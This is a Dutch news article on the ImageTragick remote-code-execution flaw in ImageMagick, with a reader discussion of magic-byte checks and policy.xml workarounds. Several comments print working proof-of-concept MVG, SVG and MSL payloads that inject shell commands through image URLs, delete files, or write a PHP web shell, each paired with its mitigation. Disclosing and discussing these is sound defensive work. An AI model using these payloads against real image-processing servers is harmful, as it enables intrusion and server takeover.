Kwetsbaarheid in ImageMagick gevaar voor groot aantal websites

Een groot aantal websites is gevoelig voor een aanval waarbij kwaadwillenden kwaadaardige code kunnen uitvoeren door een afbeelding met foutieve code te uploaden naar bijvoorbeeld een fotoalbum. Er is een workaround; een patch komt dit weekend beschikbaar.

Details van de veiligheidsbug lekten uit voordat ImageMagick-versie 7.0.1 en 6.9.3 gepatcht konden worden, waardoor de kwetsbaarheid al wordt misbruikt. Een van de bugs heeft al een cve-nummer CVE-2016-3714 en ook al een naam: ImageTragick. De bug werd ontdekt door onderzoeker Stewie. Nikolay Ermishkin van Mail.ru vond nog andere problemen, zoals de mogelijkheid om op afstand code uit te voeren.

ImageMagick adviseert gebruikers van de applicatie op webservers enkele regels code toe te voegen aan het policy.xml-bestand. Https-gebruikers wordt aangeraden ook code te wijzigen in het delegates.xml-bestand. Met de gewijzigde bestanden wordt in ieder geval een aantal van de exploits tenietgedaan.

Op de ImageTragick-site, gemaakt door ontwikkelaar en beveiligingsonderzoeker Ryan Huber van Slack, wordt geadviseerd om elk beeldbestand dat geüpload wordt, te checken op de 'magic bytes' die aan het begin van elk beeldbestand moeten staan. Pas als die kloppen, zou een beeldbestand verwerkt mogen worden. Magic bytes zijn de eerste paar bytes van een bestandstype waardoor het type te verifiëren is. Een jpeg-bestand begint bijvoorbeeld met 'FF D8'. De hele lijst staat op Wikipedia.

Mogelijke aanvalsscenario's zijn dat een kwaadwillende een bestand uploadt met een extensie als jpg, png of een andere afbeeldingsextensie. ImageMagick zal daarna het bestand proberen te begrijpen en proberen het plaatje om te vormen in een tussenformaat. Dat kan in sommige gevallen leiden tot een onveilige manier van decoderen en vervolgens tot het uitvoeren van kwaadaardige code op een server, ofwel remote code execution.

Op dit moment is nog niet duidelijk of alle problemen al naar boven gekomen zijn. Tot die tijd zijn volgens Huber ook de workarounds niet te vertrouwen. Het probleem bestaat onder andere doordat ImageMagick meer dan 200 verschillende formaten ondersteunt. Een mogelijkheid voor de toekomst is om de GraphicMagick-fork te gebruiken die een veel kleiner aantal bestandstypen ondersteunt, schrijft Ars Technica.

ImageMagick is een veel gebruikte beeldverwerkingsbibliotheek die onder andere ondersteund wordt door php, Ruby, NodeJS, Python. Veel contentmanagementsystemen, socialmediasites, blogs en dergelijke maken direct of indirect gebruik van ImageMagick om beelden van formaat te veranderen of andere beeldverwerking erop toe te passen.

Reacties (45)

wordt geadviseerd om elk beeldbestand dat geüpload wordt te checken op de 'magic bytes' die aan het begin van elk beeldbestand moeten staan

Dit kan makkelijk met het file command op Linux/OS X/etc: file --brief --mime-type filename.jpg geeft terug image/jpeg. Of gebruik de onderliggende libmagic library vanuit je programmeertaal. Als je daar niet de verwachte mime-type terugkrijgt moet je het bestand niet verder verwerken in je applicatie.

Het mime-type wordt ook in de headers verstuurd door de browser bij file uploads, maar zoals altijd vertrouw je user input nooit

[Reactie gewijzigd door Rafe op 4 mei 2016 13:05]

Een mimetype is niet het zelfde als waar ze het in het artikel over hebben. Het geeft mensen valse hoop wanneer ze denken dat ze veilig zijn met een mimecheck. Het is volgens mij niet 'gewoon' om te controleren wat de eerste bytes zijn van elk bestand om te verifiëren dat het een plaatje is. Hopen dat ze snel met een update komen dan maar

-edit- file(1) checked wel de magic bytes, excuus.

[Reactie gewijzigd door Shadow.exnw op 4 mei 2016 08:55]

Jawel, dat is juist wat ze bedoelen. De mime/type wordt juist bepaald door die magic bytes.

Het is volgens mij niet 'gewoon' om te controleren wat de eerste bytes zijn van elk bestand om te verifiëren dat het een plaatje is.

Eigenlijk is dat toch behoorlijk common. De meeste libraries hebben gewoon een methode voor het controleren van een mime/type en ja, de betere lezen dat uit de magic bytes en niet wat bijvoorbeeld de browser als suggestie doorstuurt.

Edit: overigens ook logisch, anders krijg je foutmeldingen in je applicatie wanneer men een word documentje o.i.d. upload. En geloof me, dat gebeurt vaak. Plakken ze een screenshot in een word document -_-

[Reactie gewijzigd door NightFox89 op 4 mei 2016 08:50]

Ik bedoel dat de gemiddelde wordpress niet eerst de magic bytes checked maar de mimetype die wordt meegestuurd vertrouwt. Echter zoals ik net al zei, file(1) checked inderdaad de magic bytes. niet vergeten ook je policy.xml aan te passen

Ik wist al dat wordpress grote rommel was maar dit.... ben even in de broncode van ze gedoken maar idd, ze lezen niet de echte mime/type uit. Nee, die baseren ze op extentie?

Mag hopen dat er een wordpress ontwikkelaar reageert met: "Nee, dat is de foute functie. Je moet deze gebruiken"

Het gaat veel verder, niet alleen wordpress, maar een tal van soort gelijke sites doen exact het zelfde. Ze maken echter dan ook vaak gebruik van de php GD libs die niet kwestbaar zijn (maar soms ook imagegick wanneer deze aanwezig is).

Iets als dit zou het netste zijn in php :

$finfo = new finfo(FILEINFO_MIME);
$type = $finfo->file($_FILES['naam']['tmp_name']);
if( !in_array($type,[ 'image/jpg','image/jpeg','image/gif','image/png']) ){
// not an image
}

[Reactie gewijzigd door hackerhater op 4 mei 2016 11:32]

Je mist hier bijvoorbeeld webp.

En zou je niet ook willen dat het mime-type overeenkomt met een die je bij de file extensie mag verwachten?

Voor video (movie) zie ook webm.

En wellicht wil je dit checken voor alle uploads naar je server? Zodat je zeker bent dat er geen maleware op komt via een lek/bug in een andere onderdeel van de keten. Lekken door menselijke fouten of bug die je nu nog niet kent.

En inderdaad volgen wat Shadow.exnw zegt; GD libs gebruiken in php i.p.v. ImageMagic

[Reactie gewijzigd door djwice op 4 mei 2016 22:20]

Tuurlijk, dit was ook alleen maar een voorbeeld.
Je moet natuurlijk alle mime types die je toe wilt staan erbij zetten.

file(1) bepaald het mime-type juist aan de hand van de inhoud van het bestand.

Net door de man pages zitten kijken, je hebt gelijk. Had het eerst moeten checken

Het is volgens mij niet 'gewoon' om te controleren wat de eerste bytes zijn van elk bestand om te verifiëren dat het een plaatje is.

Dat zou het wel moeten zijn voor een webdeveloper. Als Ruby on Rails-developer kwam dit begin 2014 in 'mijn wereldje' aan het licht met deze kwetsbaarheid in de meestgebruikte file upload library: http://homakov.blogspot.n...ility-leading-to-xss.html

[Reactie gewijzigd door Rafe op 4 mei 2016 12:49]

Grappig inderdaad... Op de Amiga in de jaren 90 werkte ik ook met magic bytes/signatures om content te herkennen voor een multi-functioneel Arexx script voor DiskMasterII.

Aangezien een filename niet zoveel zegt over het bestand is dat de enige manier om te kunnen bepalen wat je nou echt voor je hebt.

File doet een magic number naar mime type conversie als je de parameter --mime-type meegeeft. Als je shell scripts schrijft (bijvoorbeeld voor het automatisch verplaatsen van files op basis van type) werkt dat gewoon wat makkelijker.

Door naar de fingerprint van ruwe data te kijken los je niet alleen dit probleem op, maar ook andere zaken, zoals het voorkomen dat er allerlei rotzooi naar de code die user input verwerkt wordt verstuurd (in dit geval gaat het over afbeeldingen, maar je kunt bijvoorbeeld ook denken aan een CV upload waarbij PDF of DOCX wordt ondersteund, maar waarbij het onder water ook mogelijk is om honderden MBs aan rotzooi te sturen puur door met het MIME type te rommelen).

Als hacker exploiteer je dit soort fouten inderdaad door je eigen multipart HTTP payload te maken (met curl bijvoorbeeld) en die naar de juiste URL op de server te sturen. Dat je netjes bij ontvangst als dev het mime type checked maakt dus helemaal niets uit, omdat je als hacker de metadata (headers dus, inclusief de mimetype header) ook onder controle hebt. In dit geval is de enige manier om ervoor te zorgen dat je inderdaad PNG, JPEG of whatever data verwerkt door de aanname van content en het verwerken daarvan van elkaar te scheiden en een check te doen op de ruwe data die je tijdelijk in quarantaine zet in plaats van de HTTP headers.

De betrokken security specialist geeft als advies niet voor niets dat je een check moet doen op de aanwezigheid van bepaalde fingerprints in de ruwe data, dat is zelfs zonder externe hulpmiddelen vrij eenvoudig te doen door de eerste bytes te checken, de patronen hiervoor staan gewoon op Wikipedia. Je hoeft dus geen commando zoals file te gebruiken, die overigens van dezelfde patronen gebruik maakt.

Anyway, voor devs is het inderdaad altijd zaak om niet alleen menselijke input te wantrouwen, maar input in het algemeen.

[Reactie gewijzigd door mindcrash op 4 mei 2016 08:53]

@Rafe checkt hier het mimetype van het file niet van het multipart bericht. Hoe file dat dan weer doet, ik hoop op de magic bytes ipv extensie. Als hij de magic bytes controleert dan is het zelfde wat geadviseerd wordt in het artikel.

file checkt inderdaad de 'magic bytes', volgens de man-file (http://linux.die.net/man/1/file) en zou in dit geval dus geschikt zijn.

Veel programmeertalen hebben ook eigen implementaties van een 'magic' check, dus is het forken van een shell-commando niet per se nodig.

Veel programmeertalen hebben ook eigen implementaties van een 'magic' check, dus is het forken van een shell-commando niet per se nodig.

Dit zal op veel servers ook (hopelijk) uit staan.

Dat zeg ik ook niet. Ik leg ter aanvulling uit waarom je de browser niet moet vertrouwen. Vaak genoeg gezien dat devs gewoon naar het mime type kijken wat met een multipart payload wordt meegestuurd en vervolgens blind aannemen dat het allemaal OK is.

Hoe file dat dan weer doet, ik hoop op de magic bytes ipv extensie.

Volgens mij gebeurt dat alleen in Windows; zelfs in de laatste versie kun je van een jpg een gif maken door de extensie te veranderen.

Nee, je image viewer zal slim genoeg zijn om te detecteren dat het een gif is. Het is geen echte gif, en heeft ook niet ineens de eigenschappen van een gif.

Nee, je image viewer zal slim genoeg zijn om te detecteren dat het een gif is. Het is geen echte gif, en heeft ook niet ineens de eigenschappen van een gif.

Ik zeg niet dat het plaatje werkt, maar Windows Explorer zal op basis van de extensie denken dat het een gif is.

In Windows is het daarom slim om met een tool als TrID (http://mark0.net/soft-trid-e.html, vergelijkbaar met file) de fingerprint van bestanden te checken als je het niet vertrouwd. En eigenlijk al helemaal als het desbetreffende bestand van een externe locatie af komt.

Dat lijkt me ook de bedoeling. Het filesystem heeft een indicatie van bestandstype waardoor een bijpassend icoontje en programma gekozen worden, zonder dat daarvoor het bestand gelezen hoeft te worden. Vooral i.c.m. een harde schijf zou dat voor een nogal traag systeem zorgen.
Zodra er iets met de inhoud van het bestand gedaan moet worden zou de controle van de inhoud moeten gebeuren.

Vooral i.c.m. een harde schijf zou dat voor een nogal traag systeem zorgen.

Nee hoor; het uitlezen van een bestandsnaam zal net zo "traag" zijn als het uitlezen van de eerste zoveel bytes van een bestand. En dat valt ook weer mooi te cachen

Verder staan veel distributies gebaseerd op Linux er niet om bekend om langzaam te zijn. Windows daarentegen ...

In Windows Powershell kun je de volgende applets gebruiken:
PS: Get-MagicNumber
PS: Get-MimeType

[Reactie gewijzigd door TWyk op 4 mei 2016 10:12]

Het probleem daarmee is dan weer dat file ook wel 's vatbaar wil zijn voor remote code execution problemen.

Het rare van die https://imagetragick.com website vind ik dat er dan weer niet meteen opstaat "versie die en die zijn getroffen" en "versie die en die hebben een fix gekregen hiervoor".

De patches zijn toch bekend bij ImageMagick sinds gisteren .. zouden ze gewoon op wat sensatie uit zijn?

Goed dat Tweakers het wel in zijn artikel opneemt.

[Reactie gewijzigd door Barryke op 4 mei 2016 09:14]

De patches zijn gecommit, maar het duurt even voordat elke distro die heeft verwerkt. Aangezien de RCE op dit moment al in het wild wordt misbruikt is het niet meer dan netjes om een waarschuwing te publiceren, omdat alle up to date ImageMagick versies die op dit moment in het wild voorkomen (6.9.3 voor wat terughoudende distro's zoals Debian, 7.0.1 voor distro's die wat minder terughoudend zijn zoals Ubuntu) vulnerable zijn.

Overigens ook eens mooi om te lezen waar de fout precies in lijkt te zitten: je kunt blijkbaar standaard ImageMagick scripts over the wire naar ImageMagick sturen (WUT!? ) en via een fout in string sanitization en de afhandeling van reads/writes was het dus mogelijk om zo exploits naar de server te schrijven. Die fouten hebben ze nu opgelost.

[Reactie gewijzigd door mindcrash op 4 mei 2016 10:49]

je kunt blijkbaar standaard ImageMagick scripts over the wire naar ImageMagick sturen (WUT!? )

Dat klinkt wel vaag. Ik heb me er niet in verdiept, maar wat ik begrijp is het "gewoon" een CLI parameter escape in een URL die in je input file vermeld is. Of gewoon in je filename:

PoC: save as file.mvg and then run convert file.mvg o.png
viewbox 0 0 1 1 image over 0,0 0,0 'https://test/" && touch /tmp/hacked && echo "1'

Bron: https://news.ycombinator.com/item?id=11624056 (NB. dit voorbeeld vereist een fix die daar staat)

[Reactie gewijzigd door Barryke op 4 mei 2016 10:12]

Oh wow, het is nog een stuk erger dan dat:

Je kunt als payload een malformed URL naar ImageMagick sturen:

`https://example.com"|ls "-la`

om dat te voorkomen moet je de HTTPS en URL coder uitschakelen:

<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="URL" />

Je kunt als payload een malformed MVG of SVG naar ImageMagick sturen

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg"|ls "-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

om dat uit te schakelen moet je de MVG coder uitschakelen:

<policy domain="coder" rights="none" pattern="MVG" />

Je kunt random bestanden verwijderen via ImageMagick's ephermal pseudo protocol:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context

om dat uit te schakelen moet je de EPHERMAL coder uitschakelen:

<policy domain="coder" rights="none" pattern="EPHEMERAL" />

En je kunt als toetje ImageMagick scripts sturen en random reads en writes doen op alles waar IM bij kan

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>

en dat is uit te schakelen met:

<policy domain="coder" rights="none" pattern="MSL" />

De bron is het full disclosure rapportje hier

[Reactie gewijzigd door mindcrash op 4 mei 2016 10:48]

De patches zijn toch bekend bij ImageMagick sinds gisteren .. zouden ze gewoon op wat sensatie uit zijn?

Natuurlijk zijn ze op sensatie of allesinds faam uit. Ze maken er een aparte website voor om ermee te kunnen kokketeren. Voor de normale (oude) garde aan beveiligingsonderzoekers was vermelding van de vondst op een bugtraq post door het imagemagick team genoeg geweest.

Dat is jammer, ImageMagick kan zoveel meer/beter dan de GD library, dat er heel veel gebruikers van ImageMagick zijn. Waarschijnlijk miljoenen!

Ik ben zelf beheerder van een online experiment foto-bewerker dienstje. Die heb ik platgehaald met het volgende bericht:

Hello user. Due to a servere bug in soft we use for editing images we are for the time being unable to process your request.

Daarbij stuur ik ook een HTTP 500. Doe ik hier goed aan?

Ik zou een 503 sturen. Maar ja, je doet hier goed aan.

Netjes van je, alleen zou ik het woord servere veranderen naar severe.

oh, shit. danku!

Het gaat goed bij ImageMagick. Pas had ik ook al medingen van mijn virusscanner na het downloaden van de Windows binary release.
Netjes een melding van gemaakt maar tot op heden niets vernomen.

Dit is een false positive. We hebben hier veel meldingen van binnen gekregen dus daarom heb je misschien nog geen bericht terug ontvangen. Een controle met behulp van virustotal.com toont aan dat deze bestanden geen virus bevatten

Ik waan me even terug in 2004.
Toen werd dit ook al gedaan.
Zelfde tips/workaround werd toen ook al gegeven.
Altijd, maar dan ook altijd je input heel goed controleren.

tja, makkelijk praten, maar niet iedereen kent alle ins-en-outs van het verleden.. En als jij het in het verleden niet een keer bent tegengekomen, dan had jij het nu ook niet geweten..

Weer iemand met het excuus: Ja, ik heb het nooit meegemaakt, hoe moet ik het dan weten?

Ah, dus jij kent ook alle veiligheidslekken, ook degene die nog niet gevonden zijn? Jij kent alle foefjes van hackers en ook alle methodes om die foefjes tegen te gaan?
Bij elke regel code ga jij opnieuw zitten studeren om te kijken of daar misschien een voor jou onbekend veiligheidsprobleem is? Jij bent op de hoogte van ALLE veiligheidsmaatregelen? knappe jongen/meisje als je dan nog aan het werkelijk ontwikkelen van een applicatie toe komt.

Nope. Is ook niet nodig.

Hoe ERRRG is het dan
http://www.murga-linux.com/puppy/viewtopic.php?t=106760